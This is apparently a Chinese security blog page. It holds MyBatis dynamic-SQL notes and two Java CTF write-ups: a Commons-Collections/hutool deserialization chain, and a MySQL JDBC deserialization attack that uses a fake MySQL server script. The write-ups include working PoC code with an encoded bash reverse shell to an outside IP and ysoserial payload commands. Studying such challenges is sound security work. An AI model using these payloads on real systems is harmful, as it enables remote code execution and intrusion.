new Blog("TA", "Kat", new Date(), 100),
new Blog("TB", "Lana", new Date(), 500),
new Blog("TC", "Bart", new Date(), 368),
new Blog("TD", "Kat", new Date(), 100),

};
for (Blog blog : blogs) {
bm.addBlog(blog);
}

session.commit();
session.close();

if

通过if来拼接sql条件语句 if的判断条件写在test中

1
2
3
4
5
6
<select id="getBlogs" parameterType="Map" resultType="dynamic.pojo.Blog">  
select * from blog where 1=1
<if test="author != null">
and author = #{author}
</if>
</select>

测试

1
2
3
4
5
6
7
8
9
SqlSession session = MybatisUtil.getSqlSession();  
BlogMapper bm = session.getMapper(BlogMapper.class);
Map<String, Object> map = new HashMap<>();
// map.put("author", "Kat");
List<Blog> blogs = bm.getBlogs(map);
for (Blog blog : blogs) {
System.out.println(blog);
}
session.close();
  • map中不放内容 结果:
    1
    2
    3
    4
    	Blog{id=b25806c7dc91491ab6af58bf3753d2dc, title='TA', author='Kat', createTime=Sun Feb 25 10:53:41 CST 2024, views=100}
    Blog{id=914bad57dafe42bc973f20522396777d, title='TB', author='Lana', createTime=Sun Feb 25 10:53:41 CST 2024, views=500}
    Blog{id=19f3610a2d6845b9bb54e4c31409dd3d, title='TC', author='Bart', createTime=Sun Feb 25 10:53:41 CST 2024, views=368}
    Blog{id=6e334e6bc75c4d8bb36042d378ca7005, title='TD', author='Kat', createTime=Sun Feb 25 10:53:41 CST 2024, views=100}
  • map.put("author", "Kat"); 结果:
    1
    2
    Blog{id=b25806c7dc91491ab6af58bf3753d2dc, title='TA', author='Kat', createTime=Sun Feb 25 10:53:41 CST 2024, views=100}
    Blog{id=6e334e6bc75c4d8bb36042d378ca7005, title='TD', author='Kat', createTime=Sun Feb 25 10:53:41 CST 2024, views=100}
  • map.put("author", "Kat"); map.put("title", "TA");结果:
    1
    Blog{id=b25806c7dc91491ab6af58bf3753d2dc, title='TA', author='Kat', createTime=Sun Feb 25 10:53:41 CST 2024, views=100}

choose, when, otherwise

类似switch语句 按序匹配 匹配到了就执行对应语句(仅一个) 然后结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<select id="getBlogs2" parameterType="Map" resultType="dynamic.pojo.Blog">  
select * from blog
<where>
<choose>
<!--有author就不匹配title-->
<when test="author != null">
author = #{author}
</when>
<when test="title != null">
and title = #{title}
</when>
</choose>
</where>
</select>

foreach

遍历集合类中的元素进行sql语句拼接

1
2
3
4
5
6
7
8
<select id="getBlogs3" parameterType="Map" resultType="dynamic.pojo.Blog">  
select * from blog
<where>
<foreach collection="ids" item="id" open="(" close=")" separator="or">
id = #{id}
</foreach>
</where>
</select>

缓存

一级缓存

也叫本地缓存 :SqlSession本身具备
与数据库同一次会话期间查询到的数据会放入本地缓存中;如需再获取相同数据,从缓存中拿即可

缓存失效的情况:

  • 查询不同的数据
  • 增删改操作后,缓存会刷新
  • 手动清理缓存: clearCache

二级缓存

也叫全局缓存,需在mapper.xml中添加<cache/>

  • 会话查询的数据首先会进入一级缓存中
  • 如果当前会话关闭,一级缓存中的数据会进入二级缓存
  • 新的会话就可以从二级缓存中获取数据
  • 不同mapper查询的数据会在自己对应的缓存中
Read More
post @ 2024-01-24

题目链接

源码分析

1、从附件中可以看到两个依赖,分别是common-colletions-3.2.2hutool-all-5.8.18两个版本,首先能够想到的就是常规的CC链子,需要注意的是这里使用的是CC3.2.2,比我们漏洞百出的3.2.1多了一个小版本,换上这个小版本对之前的东西进行复现发现会出现报错,原因是多了一个checkUnsafeSerialization函数,对序列化的类进行了检查,禁止了以下一些类的序列化。

1
2
3
4
5
6
7
8
WhileClosure
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory

2、在看一下源码,只有两个类,一个是MyExpect类,一个是Testapp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.app;
import java.lang.reflect.Constructor;
public class Myexpect
extends Exception {
private Class[] typeparam;
private Object[] typearg;
public Class getTargetclass() {
return this.targetclass;
}
private Class targetclass; public String name; public String anyexcept;
public void setTargetclass(Class targetclass) {
this.targetclass = targetclass;
}
public Object[] getTypearg() {
return this.typearg;
}
public void setTypearg(Object[] typearg) {
this.typearg = typearg;
}
public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
public void setAnyexcept(String anyexcept) {
this.anyexcept = anyexcept;
}
public Class[] getTypeparam() {
return this.typeparam;
}
public void setTypeparam(Class[] typeparam) {
this.typeparam = typeparam;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import cn.hutool.http.server.HttpServerRequest;
import cn.hutool.http.server.HttpServerResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888)
.addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null) {
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
}
try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[] { String.class });
myexpect.setTypearg((Object[])new String[] { e.toString() });
myexpect.setTargetclass(e.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

看到了getAnyexcept()方法中存在类实例化的条件,这与某条CC链中,要使用InstantiateTransformer#transform中的代码类似,很明显是作者故意给的。再看Web页面接收bugstr参数,经过base64解码转化为对象流后直接进行了readObject进行反序列化,因此这里肯定是要通过CC链+getAnyexcept()来触发漏洞,但是怎么触发getAnyexcept()呢?

这里出题人给了一个提示就是cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,通过hutools中的put返回能够触发getAnyexcept,可能就是与fastjson触发get函数有点相似

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
JSONObject jsonObject = new JSONObject();
jsonObject.put("111", new Myexpect());
}

/*
修改Myexpect.getAnyexpect():

public Object getAnyexcept() throws Exception {
System.out.println("hhhhhh");
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
*/

// 可以看到输出hhhhhh 即成功调用getAnyexcept

通过这里就可以串起整个CC链子,可以通过getAnyexcept实例化TrAXFilter,接而触发templates加载字节码触发RCE。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

接下来的问题就是通过什么来触发cn.hutool.json.JSONObject.put方法,在LazyMap中,存在LazyMap#get是可以触发map.put 方法来触发

1
2
3
4
5
6
7
8
9
10
11
// LazyMap.get   可以看到先调用transform获得value然后map.put(key,value) 
// 那么这里利用 ConstantTransformer 让value为Myexpect对象即可
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

攻击利用

因此就可以用CC链串起来了。

1
2
3
HashMap#readObject()->HashMap#hash()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()->cn.hutool.json.JSONObject.put()->Myexpect#getAnyexcept()->TrAXFilter#constructor()
->TemplatesImpl#newTransformer()
->Runtime.exec

整个payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.app;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;


public class MyPOC {
public static void main(String[] args) throws Exception {
byte[] bytes = getTemplates();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});
JSONObject jsonObject = new JSONObject();
ConstantTransformer transformer = new ConstantTransformer(1);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "1");
jsonObject.remove("111");//if (map.containsKey(key) == false)
setFieldValue(transformer,"iConstant",myexpect);
byte[] serialize = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(serialize));

}

public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mIDE=}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
}
Read More
post @ 2024-01-22

题目链接

考点

Java动态代理,MySQL JDBC反序列化

1
2
3
4
5
6
Java动态代理:
https://www.jianshu.com/p/e575bba365f8
MySQL JDBC反序列化:
https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC反序列化漏洞/
ysoserial工具:
https://github.com/frohoff/ysoserial

源码分析

附件下载后用jadx打开分析 核心代码:

1
2
3
4
5
6
7
8
9
gdufs.challenge.web
----controller
----MainController.class
----invocation
----InfoInvocationHandler.class
----model
----Info.interface
----DatabaseInfo.class
----UserInfo.class

MainController

可以看到核心路由控制代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package gdufs.challenge.web.controller;

import gdufs.challenge.web.model.Info;
import gdufs.challenge.web.model.UserInfo;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.nibblesec.tools.SerialKiller;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/controller/MainController.class */
public class MainController {
@GetMapping({"/index"})
public String index(@CookieValue(value = "data", required = false) String cookieData) {
if (cookieData != null && !cookieData.equals("")) {
return "redirect:/hello";
}
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}

@PostMapping({"/index"})
public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
UserInfo userinfo = new UserInfo();
userinfo.setUsername(username);
userinfo.setPassword(password);
Cookie cookie = new Cookie("data", serialize(userinfo));
cookie.setMaxAge(2592000);
response.addCookie(cookie);
return "redirect:/hello";
}

@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
if (cookieData == null || cookieData.equals("")) {
return "redirect:/index";
}
Info info = (Info) deserialize(cookieData);
if (info != null) {
model.mo6463addAttribute("info", info.getAllInfo());
return "hello";
}
return "hello";
}

private String serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return new String(Base64.getEncoder().encode(baos.toByteArray()));
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

48行中有deserialize进行反序列化操作 明显应该是反序列化漏洞 但是这里72#ObjectInputStream用的是SerialKiller

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<blacklist>

</blacklist>
<whitelist>
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
</whitelist>
</config>

可见只允许gdufs包或者java.lang包中的类反序列化

InfoInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/invocation/InfoInvocationHandler.class */
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;

public InfoInvocationHandler(Info info) {
this.info = info;
}

@Override // java.lang.reflect.InvocationHandler
public Object invoke(Object proxy, Method method, Object[] args) {
try {
if (method.getName().equals("getAllInfo") && !this.info.checkAllInfo().booleanValue()) {
return null;
}
return method.invoke(this.info, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

DatabaseInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package gdufs.challenge.web.model;

import java.io.Serializable;
import java.sql.Connection;
import java.sql.DriverManager;

/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/model/DatabaseInfo.class */
public class DatabaseInfo implements Serializable, Info {
private String host;
private String port;
private String username;
private String password;
private Connection connection;
// ...
public Connection getConnection() {
if (this.connection == null) {
connect();
}
return this.connection;
}

private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override // gdufs.challenge.web.model.Info
public Boolean checkAllInfo() {
if (this.host == null || this.port == null || this.username == null || this.password == null) {
return false;
}
if (this.connection == null) {
connect();
}
return true;
}

@Override // gdufs.challenge.web.model.Info
public String getAllInfo() {
return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
}
}

其中connect方法存在有MySQL JDBC反序列化漏洞 并且直接拼接可控username和password

想要执行到connect方法 追踪调用链有

1
2
3
4
5
DatabaseInfo.connect()
DatabaseInfo.checkAllInfo()
InfoInvocationHandler.invoke()
info.getAllInfo()
MainController.hello()

攻击

大致攻击思路为:vps上启动恶意mysql server —> 构造序列化base64串并通过cookie传递 —> 反序列化后发起请求 —> vps回弹恶意包 —> 执行命令

mysql server

首先用ysoserial生成payload

1
java -jar ysoserial-all.jar CommonsCollections6 'bash -c {echo,base64here}|{base64,-d}|{bash,-i}' > payload

启动server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3307

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

构造序列化cookie

注意包结构名称什么的要和附件相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import org.nibblesec.tools.SerialKiller;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Test {
public static void main(String[] args) throws Exception {
serialize();
}

public static void serialize() throws Exception {
DatabaseInfo d = new DatabaseInfo();
d.setHost("x.x.x.x");
d.setPort("3307");
d.setUsername("root");
d.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

InfoInvocationHandler ii = new InfoInvocationHandler(d);
Info i = (Info) Proxy.newProxyInstance(d.getClass().getClassLoader(), d.getClass().getInterfaces(), ii);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(i);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

}
}

获取反弹shell

开启端口监听

burp抓包改cookie为data={bas64 above} 发送

回显Hello, Here is the configuration of database, host is xxxx, port is 3307, username is root, password is....

获得反弹shell

Read More

原文:https://paper.seebug.org/1877/#312-suffix

一、前置知识

1.1 SpringMVC参数绑定

为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";
}
}
public class User {
private String name;
private Department department;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Department getDepartment() {
return department;
}

public void setDepartment(Department department) {
this.department = department;
}
}
public class Department {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

当请求为/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:

image

可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。

注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的:

1
2
User.getDepartment()
Department.setName()

假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:

1
2
3
4
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)

1.2 Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。下面是一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");

BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals("name")) {
userNameDescriptor = descriptor;
System.out.println("userNameDescriptor: " + userNameDescriptor);
System.out.println("Before modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, "bar");
}
}
System.out.println("After modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
}
}
